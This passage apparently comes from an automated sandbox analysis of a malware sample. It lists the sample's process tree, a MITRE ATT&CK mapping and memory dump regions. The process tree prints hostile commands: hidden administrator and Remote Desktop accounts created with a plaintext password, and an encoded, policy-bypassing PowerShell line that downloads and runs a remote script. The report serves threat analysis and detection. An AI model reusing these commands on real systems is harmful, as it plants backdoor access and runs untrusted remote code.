- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:528

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
    3⤵
    PID:1308

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:616
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1496

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 42A6qmOj
1⤵
- Suspicious use of WriteProcessMemory
PID:2724
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 42A6qmOj
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 42A6qmOj
    3⤵
    PID:4048

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2704
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:3540

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1760
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:2784

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:4084
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:3492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

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memory/872-286-0x00000130709F6000-0x00000130709F8000-memory.dmp

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8KB

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memory/872-285-0x00000130709F3000-0x00000130709F5000-memory.dmp

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8KB

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memory/872-284-0x00000130709F0000-0x00000130709F2000-memory.dmp

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8KB

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memory/1424-122-0x000002203FC20000-0x000002204001F000-memory.dmp

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4.0MB

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memory/1424-127-0x000002203F806000-0x000002203F807000-memory.dmp

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4KB

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memory/1424-124-0x000002203F800000-0x000002203F802000-memory.dmp

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8KB

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memory/1424-125-0x000002203F803000-0x000002203F805000-memory.dmp

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8KB

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memory/1424-126-0x000002203F805000-0x000002203F806000-memory.dmp

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4KB

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memory/1756-115-0x0000000000956000-0x0000000000967000-memory.dmp

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68KB

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memory/1756-117-0x0000000000400000-0x0000000000772000-memory.dmp

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3.4MB

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memory/1756-116-0x00000000007D0000-0x00000000007D9000-memory.dmp

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36KB

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memory/3024-180-0x000001E17E3A6000-0x000001E17E3A8000-memory.dmp

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8KB

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memory/3024-176-0x000001E17E3A0000-0x000001E17E3A2000-memory.dmp

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8KB

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memory/3024-177-0x000001E17E3A3000-0x000001E17E3A5000-memory.dmp

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8KB

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memory/3024-170-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

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8KB

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memory/3024-217-0x000001E17E3A8000-0x000001E17E3AA000-memory.dmp

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8KB

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memory/3024-178-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

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8KB

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memory/3024-171-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

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8KB

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memory/3024-169-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

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8KB

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memory/3024-168-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

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8KB

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memory/3024-174-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

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8KB

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memory/3024-173-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

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8KB

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memory/3056-118-0x00000000005B0000-0x00000000005C6000-memory.dmp

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88KB

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memory/3356-158-0x0000019B0F1F8000-0x0000019B0F1F9000-memory.dmp

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4KB

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memory/3356-143-0x0000019B0F1F3000-0x0000019B0F1F5000-memory.dmp

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8KB

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memory/3356-130-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

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8KB

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memory/3356-131-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

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8KB

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memory/3356-132-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

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8KB

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memory/3356-160-0x0000019B29BA0000-0x0000019B29BA1000-memory.dmp

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4KB

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memory/3356-159-0x0000019B29810000-0x0000019B29811000-memory.dmp

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4KB

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memory/3356-133-0x0000019B290A0000-0x0000019B290A1000-memory.dmp

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4KB

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memory/3356-134-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

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8KB

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memory/3356-135-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

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8KB

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memory/3356-152-0x0000019B291D0000-0x0000019B291D1000-memory.dmp

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4KB

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memory/3356-146-0x0000019B0F1F6000-0x0000019B0F1F8000-memory.dmp

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8KB

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memory/3356-129-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

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8KB

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memory/3356-142-0x0000019B0F1F0000-0x0000019B0F1F2000-memory.dmp

Filesize
8KB

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memory/3356-138-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

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8KB

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memory/3356-136-0x0000019B29250000-0x0000019B29251000-memory.dmp

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4KB

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memory/3492-385-0x0000020255D20000-0x0000020255D22000-memory.dmp

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8KB

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memory/3492-386-0x0000020255D23000-0x0000020255D25000-memory.dmp

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8KB

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memory/3492-387-0x0000020255D26000-0x0000020255D28000-memory.dmp

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8KB

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memory/3492-438-0x0000020255D28000-0x0000020255D29000-memory.dmp

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4KB

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memory/3916-218-0x000001E51CE90000-0x000001E51CE92000-memory.dmp

Filesize
8KB

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memory/3916-219-0x000001E51CE93000-0x000001E51CE95000-memory.dmp

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8KB

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memory/3916-251-0x000001E51CE96000-0x000001E51CE98000-memory.dmp

Filesize
8KB

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memory/3916-252-0x000001E51CE98000-0x000001E51CE9A000-memory.dmp

Filesize
8KB

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